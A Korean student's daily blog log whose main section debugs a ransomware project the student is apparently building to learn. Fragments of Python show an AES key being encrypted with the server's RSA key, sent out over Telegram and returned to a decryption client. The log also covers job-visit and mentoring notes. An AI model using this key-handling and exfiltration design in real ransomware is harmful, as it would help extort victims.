Today I Learned

최지웅·2023년 11월 2일
0

Today I Learned

목록 보기
37/238

오늘 할일
1. 당근마켓 방문
2. 랜섬웨어 디버깅
3. 드림핵 한단계씩만 풀어보쟈~~
4. 이음 CSS디자인 개편 및 실제 런칭준비
5. 전위 후위 어셈블리 비교 보고서 작성
6. 활성화함수에서의 학습여부
7. 현장실습 자기소개서 작성
8. 고급웹프로그래밍 과제
9. Project-X 과제 해결 및 설문작성
10. SK C&C 직무체험
11. 다림교육 봉사후기 작성

2. 랜섬웨어 디버깅_성공
buf.encode('raw_unicode_escape')를 사용해도 여전히 이중슬래시로 나타남. bytes.fromhex(hex_string)으로도 시도해보면 유효한 문자열이 아니라는 오류가 발생.
키 값을 자세히 본 결과

b'\xc0k\x85C\xf3\xd0C\xf5\xd2\x1c\x96g\xb6p\x8e\xbb\xdf9\xa2\xac\xe6(\xff`\x8d\x89\xcd/\xc6\xd4\xf1\xd6'

유니코드도, 16진수도 아닌 바이트 배열이기 때문에 str타입으로 받아서 통일된 타입으로 decode가 불가능한 것으로 파악.

즉, 일반 바이트 배열을 str타입으로 받아서 다시 바이트 배열로 변환이 가능한지가 문제.
해당 문제를 관련하여 찾아보니 binascii, base64등 바이트 배열을 문자열로 변경할 때 변환 알고리즘을 통일화해야한다는 점을 알게되었다.

현재 Client단의 AES키값이 다뤄지는 모든 코드를 살펴보면 아래와 같다.

#1) AES 키 생성
PRIVATE_KEY_AES=nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE)

#2) AES 키를 RSA방식으로 암호화
AES_BOX=Box(PRIVATE_KEY_RSA, PUBLIC_SERVER_RSA_KEY)
encrypted_aes_key=AES_BOX.encrypt(PRIVATE_KEY_AES)

#3) 텔레그램을 이용해 서버로 암호화된 AES키를 전송
sendTelegram(CHAT_ID, str(encrypted_aes_key))

#4) 서버 단에서 직접 함수 인자로 전달
parse_key_from_client(b'\xe1\x1d\xb6\xee\x1e\xd7\xd95\x02\x96\x19\xde\x9b\x80\xc5\\9PF>\xda\xef\xf1t\xb6\xb9/$o\x15\xf4;'
                          , b"Ni\xa9\xfcnPCf.q{{\xc8\x01\xeb\xbd\xaef\xa9G\x1eQ\xf0\x90\xa9(\xd7R\xb4\x98\xaf\x96\x9f%.V\xc0\x1a\xe2\x19K=\x9a\xce\x15\x82O\x047\x8a\x9d\x19\xcb\x9d'\x1a\x89\xfa\x16\xc8\x8aB\xa7vT\xbd\x11K`\xeb\xf2\x94")
    
#5) 공개키를 이용하여 복호화
clientRSAPublicKey=nacl.public.PublicKey(clientRSAPublicKey)
encryptedClientAESKey=nacl.utils.EncryptedMessage(encryptedClientAESKey)
BOX=Box(PRIVATE_KEY_RSA, clientRSAPublicKey)
decryptedClientAESKey=BOX.decrypt(encryptedClientAESKey)

#6) 해당 키를 출력하여 나온 값을 텔레그램으로 클라이언트에게 전송
print("[DEBUG] Finished Parsing key. decrypted Client AES key: ", decryptedClientAESKey)

#7) 클라이언트 단에서 tkinter entry를 이용해 저장
buf=entry.get()

#8) 복호화를 위해 해당 키를 이용해 모듈을 세팅
EncryptModule=nacl.secret.SecretBox(privateKeyAES)
    

현재 마지막 부분에서 오류가 발생하는 것인데.. 만약 위의 가설이 맞다면
6번에서 출력하는 과정을 base64를 이용하여 변환한다면 해결될 것이다.

우선 기존의 Server부의 코드를 아래에서

#2. 텔레그램으로 전달받은 키값으로 복호화하여 저장.
def parse_key_from_client(clientRSAPublicKey, encryptedClientAESKey):
    print("[DEBUG] Stsrt Parsing keys from client...")
    clientRSAPublicKey=nacl.public.PublicKey(clientRSAPublicKey)
    encryptedClientAESKey=nacl.utils.EncryptedMessage(encryptedClientAESKey)
    print(type(encryptedClientAESKey))
    BOX=Box(PRIVATE_KEY_RSA, clientRSAPublicKey)
    
    decryptedClientAESKey=BOX.decrypt(encryptedClientAESKey)
    print("[DEBUG] Finished Parsing key. decrypted Client AES key: ", decryptedClientAESKey)
    
    with open(DECRYPTED_KEY_AES_FILENAME, 'wb') as File:
        File.write(decryptedClientAESKey)
    print("[DEBUG] Saved Parsed AES Key for Client")

다음과 같이 변경해보았다.

#2. 텔레그램으로 전달받은 키값으로 복호화하여 저장.
def parse_key_from_client(clientRSAPublicKey, encryptedClientAESKey):
    print("[DEBUG] Stsrt Parsing keys from client...")
    clientRSAPublicKey=nacl.public.PublicKey(clientRSAPublicKey)
    encryptedClientAESKey=nacl.utils.EncryptedMessage(encryptedClientAESKey)
    print(type(encryptedClientAESKey))
    BOX=Box(PRIVATE_KEY_RSA, clientRSAPublicKey)
    
    decryptedClientAESKey=BOX.decrypt(encryptedClientAESKey) 
    ClientAESKeyString=base64.b64encode(decryptedClientAESKey).decode('utf-8')
    print("[DEBUG] Finished Parsing key. decrypted Client AES key: ", ClientAESKeyString)
    
    with open(DECRYPTED_KEY_AES_FILENAME, 'wb') as File:
        File.write(decryptedClientAESKey)
    print("[DEBUG] Saved Parsed AES Key for Client")

결과값은 다음과 같다.

[DEBUG] Finished Parsing key. decrypted Client AES key:  wGuFQ/PQQ/XSHJZntnCOu985oqzmKP9gjYnNL8bU8dY=

해당 값을 다시 클라이언트 측 복호화 프로그램에 넘기니 정상적으로 실행되었다.

결론: 이번 디버깅을 통해 깨달은 점은, 바이트값은 상당히 민감하게 다뤄야한다는 점이다. 바이트 값을 print로 출력하는 과정에서도 str로의 변환이 발생하는데 해당 디코딩 과정이 어떻게 진행되는지 아무도 모른다는 점이 문제였다. 현재 문제가 되는 부분에 있어서 base64모듈을 사용하여 인코딩, 디코딩을 수행하며 해결이 되었지만 전반적인 코드의 리팩토링이 필요하다고 생각된다. 현재 byte코드들을 일반 print한 결과를 RSA암호화 시에도 사용했는데 단순히 운이 좋아서 정상적으로 casting되었을 뿐, 현재 키값을 다루는 모든 부분에서 오류의 발생 가능성이 있다.

추가적으로 논의할 점: 인코딩 방법 별 brute force attack 결과 혹은 시도횟수 제한

10. SK C&C 직무체험

회사를 둘러보고 생성형 AI들이 어떻게 회사 내부에서 사용되고 있는지 정도를 간단하게 알려주었다.
SK C&C에서 활용하는 생성형 AI는 크게 3가지로 보고서 작성, 내부 정보유출을 막기위한 GPT연동 별도의 GAI, 광고이미지 제작 AI이다.
과제도 없고 실습도 chat gpt같은거 사용해보는 거였기에 기억에 남는 부분은 크게 없던 것 같다.
대신 쉬는시간에 최근 고민중인 경영학 복수전공에 대해 몇가지 질문을 통해 회사 입장에서 일반 개발자과 경영학을 복수전공한 개발자의 실질적인 차별점이 있느냐 라는 질문에 대한 답을 들을 수 있었다. 또 회사 내부적으로 경영학을 공부하는 사람들의 루트도 알 수 있었다.

1. 당근마켓 방문
몇가지 궁금한 점을 추려서 1시간 반 정도 가량 이런저런 이야기를 멘토님과 나누었다.
1. 경영복전 어케생각하시나요
2. SpringBoot로 기본 로직들은 구현해두었고, 꾸미는 작업을 진행하고 런칭할지 런칭하고 꾸밀지
3. 개인정보 다루는거 고려해야하는 법같은거 없는지
3. AWS EC2에 .java파일로 돌아가는거 확인은 했봤어서 해당 방식으로 런칭하면 진행할 예정인데 괜찮은지
3. Velog 현황
4. 스타트업 처음 시작할 때 어느정도 레벨로 시작하셨는지
5. 서울 42
하루에 두 기업을 다니며 같은 질문에 대한 여러 의견을 들으니 훨씬 생각이 다채로워졌다.

9. Project-X 과제 해결 및 설문작성
8번 진행중, 설문완료

profile
이제 3학년..

0개의 댓글